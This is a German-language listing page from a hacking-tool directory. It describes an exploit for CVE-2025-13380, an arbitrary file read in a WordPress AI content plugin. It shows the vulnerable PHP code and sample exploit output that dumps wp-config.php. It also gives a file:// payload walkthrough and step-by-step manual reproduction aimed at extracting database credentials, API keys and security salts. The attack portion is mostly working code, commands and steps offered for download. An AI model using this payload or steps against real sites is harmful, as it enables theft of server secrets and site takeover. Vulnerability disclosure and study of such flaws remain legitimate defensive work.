Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-13380 — AI Engine für WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authentifiziert (Contributor+) Beliebiges Dateilesen | Kitploit
Tools/GitHubGitHub/d0n601/cve-2025-13380
SchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungWebsicherheitPenetrationstests
GitHubd0n601/cve-2025-13380

CVE-2025-13380

AI Engine für WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authentifiziert (Contributor+) Beliebiges Dateilesen

Repository anzeigen
vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Authentifiziertes (Contributor+) Beliebiges Dateilesen

Das Plugin AI Engine for WordPress enthält eine Schwachstelle in der Bild-Einfüge-Funktion, die es jedem authentifizierten Benutzer mit Beitragsbearbeitungsrechten (Contributor, Author, Editor, Administrator) ermöglicht, beliebige Dateien vom Server herunterzuladen. Die Schwachstelle beruht darauf, dass der AJAX-Endpunkt lqdai_update_post keine ordnungsgemäßen Berechtigungsprüfungen durchführt und die Funktion insert_image() file_get_contents() mit benutzerkontrollierten URLs ohne Protokollvalidierung verwendet, was das Herunterladen beliebiger Dateien über das file://-Protokoll ermöglicht.

TL;DR Exploits

  • Ein POC CVE-2025-13380.py wird bereitgestellt, um zu demonstrieren, wie ein Benutzer mit Contributor-Level die wp-config.php-Datei der Website herunterlädt.
root@kitploit:~
 python3 ./exploit.py http://techcorp.cc contributor password   
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

Details

Datei-Einfügen-Funktion

Die AJAX-Aktion lqdai_update_post ruft die Funktion update_post() in Zeile 315 von /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php auf. Diese Funktion enthält keine ordnungsgemäßen Berechtigungsprüfungen und erlaubt jedem authentifizierten Benutzer, Beiträge zu ändern, die er bearbeiten kann:

root@kitploit:~
function update_post() {
    if ( empty( $posts = $_POST['posts'] ) ) {
        wp_send_json( [
            'error' => true,
            'message' => __( 'Data is null!', 'lqdai' ),
        ] );
    }

    $args = [
        'ID'            => $posts['post_id'],
        'post_title'    => $posts['title'],
        'post_content'  => $posts['content'],
        'post_status'   => 'draft',
    ];

    $update_post = wp_update_post( $args );
    
    if ( is_wp_error( $update_post ) ) {
        wp_send_json( [
            'error' => true,
            'message' => $update_post->get_error_messages()
        ] );
    } else {
        wp_set_post_tags( $posts['post_id'], $posts['tags'], false );

        if ( !empty( $posts['image'] ) ) {
            $this->insert_image( $posts['post_id'], $posts['image'] );  // <-- ARBITRARY FILE DOWNLOAD VULNERABILITY
        }
    }
}

Beliebiger Datei-Download in insert_image()

Die Funktion insert_image() in Zeile 419 verwendet file_get_contents() mit benutzerkontrollierten URLs ohne Protokollvalidierung, was das Herunterladen beliebiger Dateien ermöglicht:

root@kitploit:~
function insert_image( $post_id, $image_url ) {
    // Get the path to the uploads directory
    $upload_dir = wp_upload_dir();
    $image_data = file_get_contents($image_url);

    $filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
    
    // Save the image to the uploads directory
    if ( wp_mkdir_p($upload_dir['path']) ) {
        $file = $upload_dir['path'] . '/' . $filename;
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }
    
    file_put_contents($file, $image_data);  // <-- WRITES 
    
    // Get the attachment ID for the image
    $wp_filetype = wp_check_filetype($filename, null );
    $attachment = array(
        'post_mime_type' => $wp_filetype['type'],
        'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
        'post_content' => '',
        'post_status' => 'inherit'
    );
    $attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
    require_once(ABSPATH . 'wp-admin/includes/image.php');
    $attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
    wp_update_attachment_metadata( $attachment_id, $attachment_data );
    
    // Set the attachment ID as the featured image for the post
    set_post_thumbnail($post_id, $attachment_id);
}

Pfadkonstruktion und Dateibenennung

Die anfällige Pfadkonstruktion ermöglicht das Lesen lokaler Dateien über das file://-Protokoll:

root@kitploit:~
// User provides: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';

// file_get_contents() reads the file (works by default in PHP)
$image_data = file_get_contents($image_url);  // Reads /var/www/html/wp-config.php

// Filename is constructed from the path
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() returns '/var/www/html/wp-config.php'
// sanitize_file_name() removes slashes: 'varwwwhtmlwp-config.php'
// Appends '.jpg': 'varwwwhtmlwp-config.php.jpg'

// File is written to uploads directory
$file = $upload_dir['path'] . '/' . $filename;
// Result: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data);  // Writes wp-config.php content

Manuelle Reproduktion

  1. Melden Sie sich als Contributor (oder einem beliebigen Benutzer mit Beitragsbearbeitungsrechten) bei WordPress an.
  2. Erstellen Sie einen neuen Beitragsentwurf, um eine Beitrags-ID zu erhalten.
  3. Verwenden Sie die Browser-Entwicklertools oder ein Tool wie Burp Suite, um den Datenverkehr abzufangen.
  4. Fangen Sie eine Anfrage an /wp-admin/admin-ajax.php ab, die die Aktion lqdai_update_post aufruft.
  5. Ändern Sie die Anfrage so, dass sie eine file://-Protokoll-URL im Parameter posts[image] enthält.
  6. Senden Sie die Anfrage mit posts[image]=file:///var/www/html/wp-config.php, um die WordPress-Konfigurationsdatei zu lesen.
  7. Greifen Sie über die Uploads-Verzeichnis-URL auf die Datei zu: /wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg.
  8. Extrahieren Sie sensible Konfigurationsdateien, einschließlich Datenbank-Anmeldedaten, API-Schlüssel und Sicherheits-Salts.
Tool herunterladen